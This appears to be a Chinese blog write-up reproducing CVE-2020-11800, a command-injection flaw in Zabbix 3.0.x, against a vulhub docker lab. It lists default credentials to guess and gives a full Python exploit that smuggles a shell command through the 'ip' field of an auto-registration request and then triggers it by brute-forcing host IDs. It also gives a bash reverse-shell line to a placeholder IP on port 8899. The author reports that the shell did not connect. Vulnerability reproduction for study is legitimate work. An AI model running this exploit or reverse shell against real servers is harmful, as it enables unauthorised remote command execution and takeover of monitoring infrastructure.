漏洞复现-CVE-2020-11800-zabbix命令执行
0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
影响版本:Zabbix 3.0.x~3.0.30
漏洞简介:
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
zabbix由2部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台。
0x02 漏洞复现
(1)访问页面:
(2)猜测弱口令:("admin","zabbix"),("Admin","zabbix"),("guest","")
(3)进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意
(4)然后点击Operation,创建一个Operation,type为“Add Host”:然后保存
(5)点击“add”,添加成功:
(6)这样就开启了自动注册功能,在下载的vulhub中漏洞目录有漏洞利用脚本,查看poc可以看到执行的是写入文件的操作,使用python3执行poc,进入docker中查看写入成功
import sys import socket import json import sys def send(ip, data): conn = socket.create_connection((ip, 10051), 10) conn.send(json.dumps(data).encode()) data = conn.recv(2048) conn.close() return data target = sys.argv[1] print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"})) for i in range(10000, 10500): data = send(target, {"request":"command","scriptid":1,"hostid":str(i)}) if data and b'failed' not in data: print('hostid: %d' % i) print(data)
上面的命令中,我们将 "touch /tmp/success2" 换成别的命令即可:
反弹shell的命令 /bin/bash -i > /dev/tcp/xx.xx.xx.xx/8899 0<&1 2>&1
(7)然后执行该exp,同时需要监听好你payload的端口(8899):
俺也不知道为啥弹不回来,改天再研究一下。